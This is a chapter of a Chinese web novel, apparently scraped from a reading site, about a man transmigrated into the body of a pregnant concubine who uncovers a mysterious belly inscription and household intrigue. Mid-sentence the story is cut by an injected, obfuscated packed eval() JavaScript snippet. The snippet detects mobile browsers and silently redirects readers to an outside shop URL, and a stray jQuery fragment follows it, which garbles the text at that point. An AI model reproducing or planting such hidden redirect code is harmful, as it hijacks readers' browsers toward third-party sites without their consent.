“为什么不是我的后宫啊,我倒反成了后宫一员了。”老梁一边掐着大腿,一边轻声啜泣。然后慢慢靠回床栏上。后脑勺磕到雕花木头上,"咚"一声闷响,疼得他龇了龇牙。
这一磕反倒把他磕清醒了。他坐在床上发了会儿呆,决定先下床喝口水。他让娟儿扶着起身,双脚踩到地上时他顿了一下——这双脚比他自己原来的小了两圈不止,脚趾细细白白的,指甲盖粉嫩得像花瓣。他踩在青砖地上,凉意从脚底板蹿上来,他又忍不住叹了一声,然后踮着脚尖走到桌边倒了杯凉茶灌下去。
娟儿收拾好屋子里的碗勺退了下去。老梁独自走到梳妆台前坐定,铜镜里的脸一点点清晰起来。他也一点一点地、一寸一寸地看过去。头发散着,黑得像一匹缎子铺在肩头,发梢垂到腰窝。额头光洁,没有他原来那道长年皱眉留下的川字纹。眉毛细长,是那种不用描就有的弧度,尾端微微往上挑,像用毛笔蘸了淡墨轻轻扫了一笔。眼睛——他凑近了些——眼珠是深褐色的,瞳仁在月光里透着一点琥珀色的光,眼尾比他的原装眼睛长了小半截,睫毛投下的阴影让整个眼眶看起来深了一寸。
他把目光往下移。鼻子窄而挺,鼻梁的线条从眉间直落下来,收在鼻尖一个小小的弧度里。嘴唇薄,上唇的唇峰像山字形,下唇微微饱满一些,嘴角自然往上翘着。整张脸摆在镜子里,周慧敏的底子,邱淑贞的架子,美得让他一个四十七岁的老男人后背发麻。
但他最不敢看的是脖子往下那一截。那截白得像刚剥了壳的荔枝,喉结的位置平平整整的,什么都没有。他以前每天早上刮胡子都要摸一摸那个硬硬的凸起,现在没了。他咽了口唾沫,能看见自己纤细的颈侧皮肤随着吞咽动作微微滑动,一条极淡的青筋从锁骨往上爬,一直爬到耳根底下。
老梁止不住地摇着头,闭着眼极力地否认现在的一切。铜镜里的脸他不敢看,不敢认,他甚至把眼睛闭得死紧,眼珠子在眼皮底下乱转,像在找一条逃出去的路。他伸手去掐大腿,掐了一下,疼;又掐了一下,还是疼。他把手指并拢了使劲拧,拧得那块皮肉发红发紫,疼得他龇牙咧嘴,可再睁开眼,镜子里那张脸还是原样。周慧敏的眉眼,邱淑贞的轮廓,一丝一毫没变。
他盯着镜子里那个女人的眼睛看了三息,那眼睛也盯着他,里头全是茫然和恐惧。他忽然觉得荒唐——自己活了四十七年,虽然混得不怎么样,但好歹是个爷们儿。现在倒好,穿成个女的,肚子里还揣了一个,连哭都不敢哭出声来,怕又把丫鬟招回来。
委屈是从胸口底下那一片涌上来的。像一锅水烧开了,锅盖压不住,热气从四面八方往外冒。他吸了吸鼻子,眼泪还是不争气地淌下来了。他抬手去擦,那只手细白纤长,指尖粉嫩,指甲盖圆润得像贝壳,眼泪沾在手背上,亮晶晶的一小片。他看着自己这只手擦自己的泪,越擦越觉得荒谬,越擦眼泪越多,最后他干脆不擦了,两只手撑在梳妆台上,低着头,眼泪一滴一滴砸在台面上,砸在那些胭脂粉盒和丝巾头簪中间,洇开一小团一小团的深色。
他听见自己嗓子眼里挤出一声极轻的呜咽,像被人掐住了脖子没掐死,漏了一点气出来。他赶紧咬住下唇,把剩下的声音堵回去。不能哭出声。不能让人听见。一个三姨太大清早对着镜子哭,传到谁耳朵里都是事儿。
他深吸一口气,又吸了一口,胸腔里那团堵着的东西终于慢慢往下沉了沉。他抬起头,对着镜子里那张泪痕未干的脸,张了张嘴,想说点什么。但嘴唇动了动,什么声音也没发出来。他只好又闭了一下眼,再睁开时,眼眶是红的,但泪已经止住了。
这副身子骨原本就单薄,昨夜发烧烧了大半宿,今早又只穿了薄薄一层单衣起身,在凉透了的青砖地上站了小半个时辰。刚才那一阵哭又耗了心神,气血翻涌间,他只觉得眼前的铜镜开始发花,镜子里那张脸像浮在水面上一样荡来荡去。他伸手想去扶桌沿,指尖刚碰到梳妆台的边角,一阵天旋地转的晕眩就从后脑勺涌上来,像有人在他脑子里搅了一棍子。
"操……"他嘴里刚挤出一个字,膝盖就软了。他听见自己倒下去时带翻了什么东西,哐啷一声响,像是胭脂盒子滚到了地上,又像是什么瓷器的碎片。但声音离他越来越远,越来越闷,像隔着一层厚厚的水。他的身体比他的意识先沉了下去,软绵绵地歪倒在梳妆台旁的地上,单薄的单衣铺开在青砖上,像一朵摊开的白色花瓣。
最后一丝意识消散前,他恍惚看见门帘被猛地掀开,娟儿的声音从很远的地方传来:"太太!太太您怎么了——"
他想回答她,想说"没事老子就是没吃早饭低血糖",但嘴巴已经不听使唤了。他只能感觉到娟儿那双干瘦的手托住了他的后脑勺,又有什么人跑进来的脚步声,乱糟糟的,像一屋子被人撞翻的棋子。
然后什么都不知道了。
半梦半醒间,老梁只觉得有一白发老翁朝他招手……
嘴里念念有词,眼光不住的望向他腹中胎儿。瞬间一把火在腹部点燃,老梁是被烫醒的。不是做梦,是真烫——肚脐底下像塞了一块刚出灶的炭,隔着肚皮往他肠子里拱。他猛地掀开被子坐起来,月光从窗纸透进来,落在他的小腹上,那圈淡金色的纹路正一闪一闪地亮着,像夜店里那种劣质霓虹灯,断断续续的,忽明忽灭。
他下意识伸手去捂,掌心贴上去的瞬间烫得一缩,整条胳膊的汗毛都炸了。
"操操操操……"他压着嗓子骂了一串,又不敢大声喊,怕把娟儿招来。他低头死死盯着那道金纹,它在他肚脐下方三指宽的位置盘成一团,弯弯绕绕的,中间簇着四个字。月光不够亮,他眯着眼凑近了看,四个字像是用极细的毛笔蘸了金粉写在他皮肤底下两寸的——"九五归位"。
老梁盯着这八个字看了大概十息,脑子空白了十息。
“九五归位”。难道是和当今皇帝有关系,这九五莫非说的就是九五至尊,那不就是当今皇帝的意思嘛。这归位又怎么个解释呢。
想了半宿,老梁还是想不出个所以然。迷迷糊糊中到了黎明破晓时分,老梁再度睁眼望向这纹了字的肚皮,才发现这四个字的下面还有一句。“复旧如初”
“复旧如初?”。老梁头疼欲裂,这尚且虚弱的身子和疲惫的精神让老梁没法集中思考。可这如同神谕的八字真言又好似现在唯一有的线索,不得不让老梁咬着牙揉脑袋,要是有杯咖啡该多好。哎,咖啡,这年代想要杯咖啡怕是难如登天。这玩意儿铁定是还没传到中国呢。
回过神,再端详这几个字。“复旧如初,复旧如初,复旧如初。”老梁不住的念叨着。
是不是说只要把前面这几个字尔的事情给办了,我这就能恢复正常呢,就能离开这个破地方回到我原来的世界呢?可这九五归为,难道皇帝流放在外,还是说和我肚子里这孩子有关。难道我这怀的是个龙种?这不对啊,明明是那平南天的种。
老梁伸手又摸了摸肚子,那团烫意正在慢慢退下去,像一壶水从滚开降到温热,金纹也一点一点淡了,最后彻底没进肉里,肚皮恢复成一片光滑的白。他使劲搓了两下,搓得皮都红了,什么也搓不出来。
"他妈的是什么东西。"老梁对着自己的肚子说,"你要真是皇帝令,能不能换个男的当?我这儿怀着孕呢,不合适。"
第二天一早,他让娟儿把早饭端到床上来吃。娟儿端着小米粥和两碟小菜进来,搁在床头小几上,正要退出去,老梁一把拉住她的袖口。
"娟儿,我问你个事。"
娟儿被他拽得一个趔趄:"太太您说。"
"当今天子是谁?"
娟儿手里的筷子"啪"一声掉了一根在桌上。她飞快地弯腰捡起来,抬头看老梁的眼神跟看鬼似的:"太、太太……您说什么?"
"我问当今天子叫什么,年号什么。"
"永……永昌帝啊。"娟儿声音压得极低,往外看了一眼门帘,确认没人,才凑近半步,"宣德二十六年登基的,太太您怎么连这个都不记得了?"
老梁咬了一口馒头,嚼着嚼着忽然想起一件事:"那……皇后呢?"
"文馨娘娘呀。"娟儿说着皱起了眉,那表情分明在说"您病了一场怎么连这些忌讳都忘干净了",但她没敢说出口,只是搓着衣角,"太太,您要没什么别的事,奴婢去把热水给您提来。"
"别急。"老梁又咬了一口馒头,含含糊糊地嚼着,"那本地呢?本地有什么了不得的人物?"
娟儿的表情变了一变。那变化很细微,只是嘴角往下抿了一点点,但老梁在酒桌上看了二十多年人脸,这表情他太熟了——这是"知道但不敢说"的表情。他耐着性子等,啃完半个馒头又喝了半碗粥,娟儿始终没开口。最后他把碗往桌上一放,声音沉了半度:"娟儿。"
"太太。"娟儿的眼皮垂下去了,"本地的……皇爷,游弋忒。是前朝的宗室后裔,朝廷给了虚衔,不上朝不纳贡。每月来咱们府上一两回,和老爷在书房说话。厨房给单独备酒菜,大太太亲自盯着,不许旁人碰。"
"说什么话?"
"奴婢不知道。"娟儿的头更低了,"书房连大太太都不让进的。"
老梁盯着她的头顶看了一会儿。她今天梳了个双丫髻,鬓边别了一朵小小的白色绒花,衬得那张干瘦的小脸越发寡淡。这丫头一定知道些什么,但她的嘴巴比她想说的更紧。
老梁没再追问。他把剩下那半碗粥喝了,粥凉了,面上结了一层薄薄的膜,他皱着眉把那层膜挑开,咕咚咕咚灌下去。放下碗的时候他说:"行了,你忙去吧。"
娟儿如蒙大赦,端着碗筷快步出了门。她的背影消失在门帘后面时,老梁注意到她的脚步比平时快了三成。
接下来的日子,老梁开始装病。对外说是"胎象不稳需卧床静养",实际上他每天趁娟儿去厨房取饭的空档,光着脚在屋里摸一圈——摸梳妆台的抽屉,摸衣柜的夹层,摸床板底下的暗格。还真让他摸出几样东西来:一封没写完的信,字迹娟秀,写到一半就停了,抬头是"父亲大人膝下";一包用油纸裹着的干花瓣,闻着像桂花,但颜色发暗,像是放了很久的;还有一枚银簪,簪头刻着一朵小小的并蒂莲。
他也试着出过两次院门,想熟悉一下府里的路。第一次走到夹道拐角,听见平南天的说话声从正堂那边飘过来,他一缩脖子,连滚带爬地窜回屋里,钻进被窝把被子拉到下巴。心跳得跟擂鼓似的,半天没平下来。等了好一会儿也不见有人进来,他才反应过来——平南天压根没往北院来。
约莫着过了一周多,那天老梁正盘腿坐在窗边的炕上,拿着一把梳子假装梳头(他实在不会挽髻,每次娟儿给他梳好,他一动就散,后来索性就不动了),忽然听见院门外传来一串笑声。
笑声不大,脆生生的,像是特意调过音量的——不显得粗野,又刚好能让屋里的人听见。
"三妹妹可大安了?我来瞧瞧你。"
老梁把梳子往枕头底下一塞,刚来得及把腿从盘着的姿势换成侧卧,门帘就掀了。
一股檀香混着桂花头油
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900885|212941||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的味道先涌了进来。二太太海芳穿一件瑰紫色对襟褂子,底下是月白挑线裙,头上斜簪着点翠蝴蝶钗,走路时那蝴蝶翅膀一颤一颤的,像活的。老梁在现代陪客户去过几次苏州的会所,那儿的领班就这么打扮——精致得让你知道她用了心,又不会精致到让你觉得她在跟你较劲。
"二姐姐来了。"老梁撑起上半身,学着娟儿教的礼数欠了欠身。刚欠到一半,海芳已经走到床沿坐下了,伸手就隔着薄毯覆上他的肚子。
老梁后腰一紧,浑身肌肉都绷了。
"别怕别怕。"海芳的手在他肚子上轻轻摩挲了两下,力道不重,但她掌心的温度透过丝绸睡袍渗进来,老梁觉得像有只蜘蛛在肚皮上爬,"显怀倒是显了,尖尖的。老人们都说肚子尖的是闺女,圆的是小子。三妹妹,你这胎怕是个姑娘。"
她说完这句话就收了手,掏出帕子擦了擦指尖,动作不紧不慢的,像在弹掉一截灰。老梁盯着她那只手看了一瞬——她擦的是碰过他肚子的手指,前三根,仔仔细细地擦了一遍,然后把帕子叠好收回袖中。
"头一胎,"老梁干巴巴地说,"男女都一样。"
"话是这么说。"海芳笑了一声,身子微微前倾,声音压低了些,"可老爷膝下就一个儿子,还远在京城当质。这府里多少双眼睛盯着你这肚子呢。“头一胎要紧。大太太那边嘴上不说,心里门儿清。你要是生个哥儿,往后这府里的份例……也不用我多说。"
老梁还没来得及回话,院门外又传来一阵脚步声。那步子稳,沉,每一步踩下去都像在算盘上拨了一颗珠子——一颗是一颗,不拖泥带水。娟儿通报的声音都变了调:"大太太来了。"
门帘掀开时,老梁先闻到的是一股墨香。大太太妙静站在门口没往里走,穿着一件大红色素面褙子,头上只别了一支银簪,耳垂上光秃秃的。她那张脸素净得像一张没落笔的宣纸,五官拼在一起不算好看,但有一种让人不敢多看的气势。老梁恍惚了一下,想起现代公司里那个财务总监——四十多岁、离异、不吃午饭、全年无休,每次开会她一张嘴全屋都安静。
妙静的目光先扫了海芳一眼,海芳已经从床沿站起来了,微微侧着身,脸上的笑纹纹丝不动。然后妙静的目光落在老梁脸上,停了大约两息,说:"气色好了。既然能坐起来,回头让娟儿来账房领一下上月的份例。有几笔赏钱的支出走的是你院里的账,你核对一下。"
老梁点头:"好,大太太费心了。"
妙静的目光往下移了一寸,在他盖着薄毯的腹部停了一瞬。就一瞬。然后她收回视线,转身往外走。走到门边时脚步顿了一下,没回头,声音不高不低地说了一句:"二太太,你院里的桂花伸到夹道上来了,下人走路绊了好几次。剪了吧。"
海芳脸上的笑纹丝毫没动:"是,我回头就让人剪。"
妙静走了。脚步声一点一点远下去,像算盘珠子一颗一颗归位。厢房里静了一会儿,海芳也整了整裙摆站起来,对着老梁又笑了笑:"大太太管账精细,连一棵桂花都看在眼里。三妹妹,你要是有什么不明白的,尽管来西院找我,咱们姐妹一场。"
"好,多谢二姐姐。"
海芳也走了。门帘晃了两下,定住了。老梁一个人靠在床栏上,低头看了一眼自己的肚子。薄毯底下,肚皮安安静静的,灵符没亮。但他现在满脑子都是刚才那两只手——一只手覆上来摸着说"尖尖的是闺女",另一只手连碰都没碰他的肚子,只是站在门口远远看了一眼。
两只手,两种态度,哪一个更可怕?他说不上来。但后背到现在还绷着,松不下来。
娟儿进来收茶盏时,老梁忽然问了一句:"娟儿,那位游皇爷来府上的时候,一般什么时辰到?"
娟儿端着茶盘的手晃了一下,茶盖磕在杯沿上"叮"一声脆响。她飞快地把茶盘放稳,低声道:"太太,奴婢真的不知道。老爷的书房……"
"我知道,连大太太都不让进。"老梁截住她的话头,"我没问你他们说什么。我问你他来的时候,府上有什么动静。"
娟儿抿了抿嘴,沉默了好一会儿。老梁也不催,就那么靠在床栏上看她。窗外的阳光从她身后照过来,把她那对小小的珍珠耳钉照得发亮。
"来的时候,门房会先通传。"娟儿终于开口了,声音又轻又快,像怕被谁听见,"厨房会单独开一桌酒菜送到东院,大太太亲自守着,不许别人靠近。然后老爷院里的灯笼会点起来,一直亮到后半夜。"
"后半夜。"
"嗯。"娟儿垂下眼皮,"有时候天亮才灭。"
老梁没再问了。娟儿端着茶盘退出去,门帘垂下来,屋里又剩他一个人。他慢慢躺回去,盯着帐顶的雕花发呆。
后半夜。天亮才灭。两个男人在书房里待到后半夜,关着门,不让任何人靠近,厨房送菜由大太太亲自盯——这阵仗他太熟悉了。现代酒桌上,但凡甲方和乙方关起门来单独谈,还让人在外面守着不许靠近的,谈的肯定不是正经买卖。
他翻了个身,面朝墙壁。肚脐底下那一小片皮肤又热了一下,极轻极快,像有人用指尖在他肚子上弹了一指。他伸手摸了摸,什么也没摸着,热度已经散了。
"行了。"他对着墙壁小声说,"我知道。这不是坑,是棋盘。"
墙壁没理他。窗外的桂花香飘进来,有点腻人。他翻了个身,把被子拉过头顶,闷在被子里骂了一句梁志超你个倒霉催的。
外面院子里,有一只鸟在叫。叫了三声,停了。